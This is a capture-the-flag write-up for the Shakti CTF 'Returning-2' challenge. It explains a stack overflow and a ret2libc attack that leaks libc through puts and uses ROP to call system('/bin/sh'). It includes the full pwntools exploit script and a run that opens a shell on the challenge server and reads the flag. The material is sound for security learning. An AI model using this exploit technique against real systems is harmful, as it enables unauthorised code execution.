[Shakti CTF] Returning-2

In this challenge we have an elf that doesn’t have PIE and no canary. The file is protected with partial RELRO and with the NX flag on the stack.

┌──(pwn)(eurus㉿warfare)-[~/…/shakti_ctf/Returning-2]                   
└─$ python3 solver.py 
[*] '/shakti_ctf/Returning-2/chall'                                                     
     Arch:     amd64-64-little                              
     RELRO:    Partial RELRO                                
     Stack:    No canary found                              
     NX:       NX enabled
     PIE:      No PIE (0x400000)

The following is the result of decompiling the binary program. Can be seen in this pseudocode that the binary program take as input a value used for allocate memory with the alloca function. Then read 0x78 bytes from stdin.

int main(int argc, const char **argv, const char **envp)
{
  void *ptr_malloc; // rsp
  int input_len;    // [rsp+4h] [rbp-Ch] BYREF
  void *buf;        // [rsp+8h] [rbp-8h] BYREF

  initialize(argc, argv, envp);
  printf("Enter length of input:");
  __isoc99_scanf("%d", &input_len);
  puts("Enter text:");
  ptr_malloc = alloca(16 * ((input_len + 30LL) / 0x10uLL));
  buf = (void *)(16 * (((unsigned __int64)&buf + 7) >> 4));
  read(0, buf, 0x78uLL);
  puts("Goodbye!");
  return 0;
}

Using gdb with 16 as lenght of input I have found with the use of cyclic that at offset 48 we have the saved ebp and after is present he return address saved in the stack. The name of the challenge suggest to me that I have to make a ret2libc.

At this point with a payload like this:

payload = b'A'*48+p64(ebp)+p64(NEW_RET_ADDRESS)

I can redirect the flow of the executable. In order to make a ret2libc attack I need to know where the libc is mapped in the process space, what version of glibc is used and finally I need to have the possibility to redirect the flow of the binary program (payload above).

So now we need to leak the libc base address in order to rop to the function system('/bin/sh'). The library pwntools make this really easy.

rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call(0x4007A8) #main address
payload = b'A'*48+p64(ebp)+rop.chain()

p.sendline(payload)

log.info(str(p.recvuntil('\n')))
addr = u64(p.recvuntil('\n').strip().ljust(8,b'\x00'))
log.info(str(hex(addr)))

This script create a rop chain that call the puts and make him print his position inside the process space, finally recall the main function. After receive the value we make some magic trick for unpack the address leaked and print it.

With this address, taking the last 12bit (I know, I am treating it as if PIE and ASLR are active), we can search in the glibc database search. Inserting the function name and the last 12bit the website lists for us the version of the possible version of libc. For the server I have found libc6_2.27-3ubuntu1.4_amd64.so as a possible library used.

libc = ELF('./libc6_2.27-3ubuntu1.4_amd64.so')
libc.address = addr - libc.symbols['puts']

Importing the library in the script we can calculate tha base address af the libc inside the address space of the binary program. Now we need to craft another rop chain to call the system('/bin/sh')

rop = ROP(libc)
log.info(str(hex(libc.address)))
rop.call('puts', [next(libc.search(b'/bin/sh\x00'))])
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])

In this case i have not really understand why i need to call puts before the system for avoid the server to crash in a segmentation fault. Maybe for reallign the stack, but the server crash also using a ret gadget in order to realign the stack (so i dunno at the moment).

So at the end this is the script that i wrote:

from pwn import *

context.binary = elf = ELF('./chall')

#p = elf.process()
#gdb.attach(p, gdbscript = 'b *0x40082e')
p = remote('34.121.211.139', 3333)

p.recvuntil('Enter length of input:')
p.sendline('16')

p.recvuntil('Enter text:\n')

ebp = 0x0

rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call(0x4007A8)

payload = b'A'*48+p64(ebp)+rop.chain()

p.sendline(payload)

log.info(str(p.recvuntil('\n')))
addr = u64(p.recvuntil('\n').strip().ljust(8,b'\x00'))
log.info(str(hex(addr)))

libc = ELF('./libc6_2.27-3ubuntu1.4_amd64.so')

libc.address = addr - libc.symbols['puts']

rop = ROP(libc)
log.info(str(hex(libc.address)))
rop.call('puts', [next(libc.search(b'/bin/sh\x00'))])
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])

p.recvuntil('Enter length of input:')

p.sendline('16')

p.recvuntil('Enter text:\n')

payload = b'A'*48+p64(ebp)+rop.chain()
p.sendline(payload)

p.interactive()

and this is its execution!

┌──(pwn)(eurus㉿warfare)-[~/…/ShaktiCTF_TODO/my_writeup/shakti_ctf/Returning-2]
└─$ python3 solver.py 
[*] '/home/eurus/Documents/ShaktiCTF_TODO/my_writeup/shakti_ctf/Returning-2/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 34.121.211.139 on port 3333: Done
[*] Loading gadgets for '/home/eurus/Documents/ShaktiCTF_TODO/my_writeup/shakti_ctf/Returning-2/chall'
[*] b'Goodbye!\n'
[*] 0x7f3218872aa0
[*] '/home/eurus/Documents/ShaktiCTF_TODO/my_writeup/shakti_ctf/Returning-2/libc6_2.27-3ubuntu1.4_amd64.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loading gadgets for '/home/eurus/Documents/ShaktiCTF_TODO/my_writeup/shakti_ctf/Returning-2/libc6_2.27-3ubuntu1.4_amd64.so'
[*] 0x7f32187f2000
[*] Switching to interactive mode
Goodbye!
/bin/sh
$ ls
chall
flag.txt
libc-2.27.so
run.sh
$ cat flag.txt
shaktictf{all0c4_the_m1ghty!}